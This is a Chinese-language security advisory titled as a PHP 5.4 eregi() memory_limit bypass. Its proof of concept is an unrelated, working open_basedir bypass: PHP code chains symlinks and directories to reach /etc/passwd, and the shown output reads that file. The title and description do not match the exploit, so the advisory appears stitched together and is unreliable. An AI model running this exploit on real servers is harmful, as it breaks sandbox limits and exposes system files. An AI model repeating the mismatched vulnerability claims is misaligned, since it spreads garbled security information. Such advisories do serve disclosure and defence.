eregi php5.4,PHP 5.4/5.3弃用函数eregi() memory_limit绕过漏洞

发布日期：2012-03-30

更新日期：2012-04-01

受影响系统：

PHP PHP 5.4.0

描述：

--------------------------------------------------------------------------------

PHP 是一种HTML内嵌式的语言，PHP与微软的ASP颇有几分相似，都是一种在服务器端执行的嵌入HTML文档的脚本语言，语言的风格有类似于C语言，现在被很多的网站编程人员广泛的运用。

PHP 5.3之后版本弃用了基于POSIX正则表达式的函数，在5.4.0版本中，仍然使用这些函数，导致了绕过memory_limit，通过eregi()耗尽内存。

测试方法：

--------------------------------------------------------------------------------

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

PoC:

127# cat sym.php

symlink("/etc/passwd", "./symlink");

?>

127# php sym.php

PHP Warning: symlink(): open_basedir restriction in effect. File(/etc/passwd) is not \

within the allowed path(s): (/www) in /www/test/sym.php on line 2

Warning: symlink(): open_basedir restriction in effect. File(/etc/passwd) is not \

within the allowed path(s): (/www) in

/www/test/sym.php on line 2

127#

open_basedir will disallow /etc/passwd.

Let`s see:

127# ls -la

total 8

drwxr-xr-x 2 www www 512 Oct 20 00:33 .

drwxr-xr-x 13 www www 1536 Oct 20 00:26 ..

-rw-r--r-- 1 www www 356 Oct 20 00:32 kakao.php

-rw-r--r-- 1 www www 45 Oct 20 00:26 sym.php

127# pwd

/www/test

127# cat kakao.php

mkdir("abc");

chdir("abc");

mkdir("etc");

chdir("etc");

mkdir("passwd");

chdir("..");

mkdir("abc");

chdir("abc");

mkdir("abc");

chdir("abc");

mkdir("abc");

chdir("abc");

chdir("..");

chdir("..");

chdir("..");

chdir("..");

symlink("abc/abc/abc/abc","tmplink");

symlink("tmplink/../../../etc/passwd", "exploit");

unlink("tmplink");

mkdir("tmplink");

?>

127# php kakao.php

127# ls -la

total 12

drwxr-xr-x 4 www www 512 Oct 20 00:37 .

drwxr-xr-x 13 www www 1536 Oct 20 00:26 ..

drwxr-xr-x 4 www www 512 Oct 20 00:37 abc

lrwxr-xr-x 1 www www 27 Oct 20 00:37 exploit -> tmplink/../../../etc/passwd

-rw-r--r-- 1 www www 356 Oct 20 00:32 kakao.php

-rw-r--r-- 1 www www 45 Oct 20 00:26 sym.php

drwxr-xr-x 2 www www 512 Oct 20 00:37 tmplink

127# cat exploit

# passwd

#

root:*:0:0:god:/root:/bin/csh

..

now "tmplink" is a directory. so link "exploit" will be "../../etc/passwd". We don't \

need bypass open_basedir, it is a design mistake. PHP will allow \

"tmplink/../../../etc/passwd" because ./tmplink/../../../etc/passwd really exists.

Remember. Don't use open_basedir as a main security feature.

建议：

--------------------------------------------------------------------------------

厂商补丁：

PHP

---

目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：